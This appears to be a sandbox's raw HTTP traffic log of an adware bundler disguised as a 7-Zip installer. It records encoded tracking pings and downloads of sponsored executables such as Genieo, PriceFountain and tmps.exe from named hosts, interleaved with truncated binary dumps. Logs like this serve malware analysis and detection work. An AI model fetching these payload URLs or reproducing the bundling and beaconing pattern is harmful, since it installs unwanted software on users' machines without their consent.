X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=yhrBLBbZM9VPNjxRBLtb453nP6cJ9p2Yt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1m4nTb6ugC6CtaCvD45rhk5MwQr8CFZNlzeR1eeTudaKcKVqwjpUmtYy6uCsUQnIZCN/GNnAM6gVpC59BejwFKViHQGpdg iOJxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj R4bC28dP4Ks1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfMBSr28YVyfPg8SfsOq8sVv HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:14 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=wlkQ3WKgYpT/HsUBn07KUs4CTydo2RkEWCPN432LaqaRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiS9r3eipYablBnsxRGYLsGfgtrTfhmT12vVAezdf3aKUSdvNRLeb/tYs4164GCUCrFoceVsKClDm0InYace3OQdd8zJZOZia4B/MCmMt8HPuvtm2x/E2lxmxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJegMBsN/V/kj R4bC28dP4Ks1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfMmTADg95nKug8SfsOq8sVv HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:14 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 20
15 04:53:14 GMT..Content-Length: 0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=ef016749e4b3b84c8b6f3946b9bc2c0d&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=e90f48eb648df52ca607e59d779e47aa&tokyo_csrf2_timestamp=1420692797&slot_number=1&index_in_screen=1&index_in_session=1&0.7057303012055666 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.260128705.1420692778.1420692778.1420692778.1; __utmb=1.1.10.1420692778; __utmc=1; __utmz=1.1420692778.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:54:13 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:54:13 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 301 Moved Permanently

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:20 GMT

Content-Length: 403
<head><title>Document Moved</title></head>.<
;body><h1>Object Moved</h1>This document may be found &
lt;a HREF="hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9
.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&am
p;VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=
Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&Bu
ndleID=NONE">here</a></body>....


GET /finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE HTTP/1.1

Accept: text/html, application/xhtml xml, */*

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

Set-Cookie: ASP.NET_SessionId=0gkn1yumieq3soyth43bzeq3; path=/; HttpOnly

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:20 GMT

Content-Length: 2028
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"~..7N...O.<y...<M...L_~..
..I.......wr...7O....o.x...w.7u.l....Yy........m.zt........../..yu..`.
.e.u.......GG.9.L.-.e.Y.........?.....q[.eN....y.|.^W......e.feY,/...Z
.YO..x:.............y...l..........X}.N.e./..>....y.pWWY;....:...b.
WMzU..j.....y^..l9../.k....M.|....~.__U..>......g...~6.?.nG..Q..y..
.\' .v.....g..H..o.W..]..k.....t..M.~.n.....7NRz..(..u^~..4[V.b.....:?
[email protected].) ...M{]....6.O.....l.#.O...y.Q.....52.d....2.
.n.../Z......`|oL...45.^...2..>:z|W~......2..S..b............].'..B
g....hj.....VUC......>.=~.............0[.........E{=-w.....w.....wp
ogog..............{......n>;.N....2.?{...S.g....~B.......j..v......
....[,g.U..?0..5.M.|....v.. ......7..>{.)[email protected]
.$D...YN.)......<;...7.o......\S..W./.^}.{}.....o..y../...{.....AV.
yx.2[./.........._.}z}u..^f_........'_|&|...`D.._~.v.}~....../_....Q|.
.OO...?..DW.3..YC....V.....~...|....%...^,...o.LjzW........j....JR.1E.
....EU..s:.Cy|7.......I?....P'....AE..?.x.{..y}.z..y..]}q..u...hl4g.o.
.........QL.K..~.k.F.l...O...L....$..&......L3.......6.......~..')...^
...Sz..SP>....|.g...7"....k.G.....p........'......m.....!...c.).5N.
.2...).&./.....V...>...2.^../...eU..k...J>.d.......k# ...F..?iJg
))..{.:R3P..&S&V.fU........3f[u5....N.G.U.v..G;d.s.....>.K\.._...u{
;....!6.}~....y......"O....c.D....X...J....;yz...{......Y.....I...._..
....vw?...`.pS.2[^...g.G..6..q,..-.mn8.J.2.;.gs.2..%.?..ly........<<< skipped >>>

GET /styles/yta.css?v=1 HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=0gkn1yumieq3soyth43bzeq3


HTTP/1.1 200 OK

Content-Type: text/css

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:10 GMT

Accept-Ranges: bytes

ETag: "05f91678984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:21 GMT

Content-Length: 1754
...........Z.n.6../.w...].[.d....j.v..mWC1P.m..D....B.l.{....'..('....
j..E....s.............d{\nAX}....s\.....|...&.[.....&; .~....Y..h.....
...\.....1. ... . !-P.. ..p.....\Ws.d...h.V.8..V...v...v.hS....*0/b(..
v#...8.........>.9$x/....#..B`.p. *...l8.......9..6.....,QD.c....3:
.Fa}...".....$1..9D.3.e"kv.^..m8.7M.a..b. ..1h..r...].P.N......{.]....
}...!.V...SQ..5%.G.a.<.)..[.`..m...=Iyif.r3X.{W......{..].......q.q
.<........gP' ..P...4.. .v..4'Q.M.B.~.M8.X....!.S#.w.....a/..sD...C
..`....O....a.P/.. 7%Y]..SD.....c.8..&......-VK....|..c.vfA2X.e..a.l%G
%.uL..b.q,.G[b......r..:)%y...F$w..C.r|'........N....;.../.Z.....0.G..
..93.....b....Pd....3`.qY5<...............G....Q...vo......{A;..q..
...z.Z..qo.1...*.....GV._C...vq...g..lu[g.9.9n...i^..s..{..b.....!...o
8...z..c.AE.M.S...h...n<.\.....:O..F..a^.`N.EP...Ul..o.e4.....8...0
..K.^#...{=Yqsy.h........gw...x_....).............NL...... ..2..!.6...
~-z..5hGv...Gj...,N..0....{ N.......k.iD .......i\..5.:39...b.H..k.`..
"............y....v..M.%..G.x%.X(....|0=.....{...M.., .q.* &"-.......6
.v.....G......5..o...}.hE..h..l-v....U...v.^VP...?.hy..9:U...E..q.k.\.
..V.<K....>G......'..U.S....j.p%.......]..7.`..I`6).....k.W.....
.).\.r. ...._..#fm...p8-}.}..].C5.b*W.r..!.V.....p.(..!.D]..}.aJ......
..".qy'...aT..Z......".3j....D...wdj....R/.....B}.....q..2....J2...m..
..f.k.0.....6....W.........m.8.-Q!6..M..........%...8>....4...Y.L&.
`WC.?..y.E7.N.....Yt...,P.U..uJ:N|..Nz.J...O..... ?%....C.8%.........h
..U.'.n&Oe..h....x....%....~...):........7..c..[]x....H.u.O.._..g#<<< skipped >>>

GET /sponsored/pricefountain/eula-pricefountain.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 04 Jan 2015 04:53:11 GMT

Last-Modified: Mon, 22 Dec 2014 13:16:25 GMT

Expires: Sun, 04 Jan 2015 05:03:11 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 48332561f71f5eb18d6bafe86590fa54.cloudfront.net (CloudFront)

X-Amz-Cf-Id: mRiRKubtre90piVaTCpaYZDGI11Ph6Y-iAu6utTt3iYGPNkeU39k6g==
3e15.............}.r[...8...tD[..#.t..JeVC$.B."e.LYQQ...K.).......#<
;.?.QGTOzV....../.....q...a...v.....{.....{?.......W..f1......w.......
_.........q...x..yq6.O......G.....b.f..>98......b..]..u..q.G|...[dO
......~.T/|7.M..6...........?..g.=...~qy......;....W..gO...QY,....;...
..r>..>.......~vY.........o...?..N...........O....bR....>..&.
...'|....]...?.....sl............<. 9.[...{R\...E.........r.O..O...
...../...{.....9?.....F...I....}..}.....{y`...[S......Q....;..~.]...8.
...h.}.k...........~.G..w........y9xR.^...rV<.|..{....S.....G...gS.
...x5.^....d..N..?.O1..&..?._...........t4......;.gvv...........l.a...
..YqW^.>..............b._...,g......o.8.)nf.U..j....w..(.....Q..v..
.~.s...IL.j8Y..ov.#..=....].....aV;.....[..E...T..pr]....|..\.......}.
^O..r.},'7..=.^T..p.o...wS.b..cS..r4....g......0....`y....-....%.1\...
9....U....;...<../.=.5.gx.o.|.h...=X..v..]...X........8..L..9....h~
..........=.,..d.7...7E..r...o.m....../.)p.Y9*o.x....v.....p.=........
......'.L.....o.b.%^.......{........3,m..MG.o.]....t.o0.7.c...I.[Cj.&.
zN...e5....X~.D7....&.q.9.zV.'.r....L...o....../........8Z..3...8.a].'
.....E..._>.q._1S.6...C...>..iX......vR....5.....7}....J........
c.W.....6l....z.......b.o.........q..x.>...G:...)..$.v..A.S.Cz.....
..r........?.U....z.......7..T.F.r......c...l\.....h...-AY{......C?..Y
)N}.;...7...q|N&.gE......i...Q....<1......B../.V......xsz^...'.g&..
....E."...}...9n.....s.;k......\.O.O.Z.........t.8<=9i......a..!N..
v.g.......w...Y.....7......._..z....]..a..{.........lj......V./~..<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=407808-

User-Agent: Better Installer(Mozilla)

Host: d1eebpovd478nh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1223424

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:17:13 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 407808-1631231/1631232

Age: 111

X-Cache: Hit from cloudfront

Via: 1.1 182f7fa5c3814caf19acb317d3eb85ad.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 82IMYk5gP4yPcvrqU3uxGeL_DNuDVDyA8DAHagB8fWd48YH6pxGitQ==
..E..}...P.u. .VWj.h......\.G.......M....E.3......J.;.......L.0.E..].;
E.t.P..,..Y...t......n....}..ty.u.... .........G;.sUj..E....._...f;E.t
3f;.t.f...........B.;.s.j....Xf9.t.j.XP_f.....;.r....E......J..L....E.
.. .....d.....t..M.j.Zf9..U.u.....$..D...E.....8.E..M.;..._...j.Y.E...
.......f;E...&...f;.t.f...'.E....;.s(j.Zf9W..U.u.j.X...f.......f......
.......j..E.Pj..E.P.....J.....4...$.G...u...`.G..........}.........U..
....J..D..HtRj.Xj.f9E.u.f......3Xf.......J..E..D.......J..E..D.%.....J
.j.Y....L.&j.Y;}........l;u.u.j.Xf9E.u.f.......j.j.j..u..o....U....j.X
f9E.t.j.Yf........U.j.Yf............J..D...@u....D....f..f......E... .
.......`.G.j.^;.u..................0.......m......3......3.........8..
................._^[..jdh..H......j..A...Y3..].j@j _W.R...YY...M...u.j
..E.PhX.I.............U......J..=..J......;.s1f.A.......Y..a$..A$$..A$
f.A%[email protected]..\.G.f.}....)....E............M.....E...
.E......;.|....M.3.F.u.9...J.} [email protected]....}..E
..U.;........2...tX...tS....tM..u.V....G..U...t8..............4...J..u
......E....F.h.....F.P....G..F..U..M.G.}[email protected]..=..J..
....J......;.s$f.A.......Y..a$.f.A%[email protected].......].....
...........5..J..u..>.t..>.t...F....F.......F....u.j.X...C......
..P....G......tE..tAW....G...t6.>%[email protected].
....F.P....G..F.."[email protected][email protected].<....E.......
...3.......j......Y.U..W.}...u.............I.........G..........@.....
...t... .G..........G......u.W.*<..Y...G....w..w.W.9...YP.K....<<< skipped >>>

GET /install.ashx?e=2fVCHF6kf8ip2eBShmJaQMxndPpeZYzTIC6m7D1h2dONlz6m1J48 YDNGIdsjn2dx96BOH62W9 5YFxpw5pFdqSm/NUmuZILaKig fkRtZJMuJJrIhkGUXZ9hofOkBao99rHYRsHXhBFTOc0AzJvJE1lNRDT6ih0kuWOvdnHdKvLMI0xCo70b7AhMjcBExiTYnH606waHUIFsK7/Ya3qp3H4CQmKwMH44rC2eJND40IoHRlRPK3NNtfZqlmnz2i0XETLNre1tSJQ2272w1pmDNwo5V3AagbluZgxLaXONawFsK7/Ya3qp3H4CQmKwMH4TiSKiKbKv60q83s/Gs1MKCxJOD3FedQpZtQsCFxk6PZLxm6qwFwDRpN041sf6R9PPE5RP1LOLdbgMBqn0KNh8JqOWL1s /Izp59WIWsKGx4z3GMUs6QTMkjcUlPYfcdWxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe c91abE2NWPTbXnzkx FKQqJD7ADy7miQiu5D5FEGqDVXbQPyTchD5RUOsZwXvURwCLbVB4E8DQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 2016

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:08 GMT

X-Cache: Miss from cloudfront

Via: 1.1 13cde6cac71b3a0cc029786629f1b401.cloudfront.net (CloudFront)

X-Amz-Cf-Id: GvmuOqxQmJEepm7E1k6PNpQ1w29G4AJmmebabAgC3HTbDAkB5SlzQg==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O..}WYe.......OD....../5.Q...)P.......10..gq..u.../......B./m..KU...o.
y.r....KR...._.:e..T..l....mj.c...s%s....o.U.._..-..1`.p.K.K.......0..
.(......C~.....W0..(O..9.._."...~c.yzO...;....Aa....d...c....mu..y..1 
..t.........10..gq..u.../......B./m..KU.....X.z.Aa....d..cT:....W.{.."
......|........|....&.<..)K.2...._2.S.....?.F.....rlD..i0u...x..u.a
..W.%!...n`2x7..5..#....$.....r.Z"wH.#.>B...dI.~.j.K..3........~..B
...Fy..\..ym...ID.....([email protected]..#...3.U..p...E...8Z.{Y.4n.)y..
B(.....p....`.....]._....R.f.z^B..\.^[email protected](..&>p.0..G....
..".......w.b....kTt......K.ko...?....1~..BWX1..j...tn..7.V....%......
.6.Ev....`.x9....kXw..$.R..K...WF...-..fm.....E..2;Q...Q.|.ry...F..:..
..g...%....z.#1.l..Y.^.....A;..?.i. .Z.....S.3R...Hj.....)\..A ..~.S..
s-..h...(.j...K5.;.......9.....;.C.....rl%..}.hP....z...........[..c..
..mm....b.&..._...$-.E#M@%."[email protected][email protected].]....
Z....9.....C..2...Z.ak&.)6.v.........e.J..c...r.c.........Bv...?..^.$.
o...{.k5...?...6...Cm.U.`..].,-..Yb.M#.X{.......~.S.......\RL.....=...
[email protected](..&>p.0...."]F.N\..&.?.o.....J.D.....,.W.s..V...TL.l.8.|...
...*Z.]...........k%.S.9.q.....G=........C}m'.......P.!....h..Pz...O..
....)....k]....-.-.....)}.8..Z..N.#...Y..O!RZc.b.m....8....z..........
.[..c....mm....b.&..._...$..F..\....`.".x.m.-.8b<..^[email protected].!3F .4.
...p.r.>..SR3..%..}.hP.......3.- .....e..c....mR...S}.._.1PC.Yc...&
lt;7;...eVE...........o.&\..*<.P..$'....5..#...3.U..p..=,.{"'3.<<< skipped >>>

GET /app/ping.ashx?e=1ZEnpGuz/ISSsSz5Gin3Vr1yLlvxP1mXNlUPUA4RqycyIvs8NVvu9kXFDxkTgufFWTYC2lEyeiTfITdK7bydInc0foGk6e4/QVTtOR88/ARnXw6eRR27vEQ5JRrthzer 1KrJEVAOY31EjpxAxBdSZZJBMudV17BMN8DpRR/UUgNwjgEjchDtWHCPw2xU3A2QjOqcl2BhVnirE6Uny9ccGZAIKuKPZc2SrMJgyJ625KqNg96XQf/KQ0ZzeT1hTpTn2VTqOHzwRF7Hc5Z VCMXwfOVO40qst2CTVaWNpfsBgvDcyiS/JqdZC/I9SHAnYLAYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9E57AoobIRFI6HlNforgq/TaD62P3KyTuKSp6PBp7Xg0f V5qlTU3hlahSKWIW47BnYGWLdl3bKnnBrKiiyV NQaBxPf1B4WRX/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm QeDtbd39 1E5F6pz0Kicuu7qt5SzSh3tN36Ip4IYgHiv5aB7SaJyfKT2pK26DiWmmrvcVl0Mf/w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:53:13 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 20
15 04:53:13 GMT..Content-Length: 0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277620-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 832856

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-494204

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: 9Gy0sZRYGU/mTEAsLBi8esWOFKdcbvtkkgvBgudymaypa 4HxWsmIkAld8TinJ9t

x-amz-request-id: A0B6CDDBC41625AB

Date: Thu, 08 Jan 2015 04:57:30 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-494204/988408

Content-Type: application/octet-stream

Content-Length: 247103

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET / HTTP/1.1

Range: bytes=99552-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914; expires=Fri, 08-Jan-16 04:55:14 GMT; path=/; domain=.settleship.org; HttpOnly

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3df2410f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=99552-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

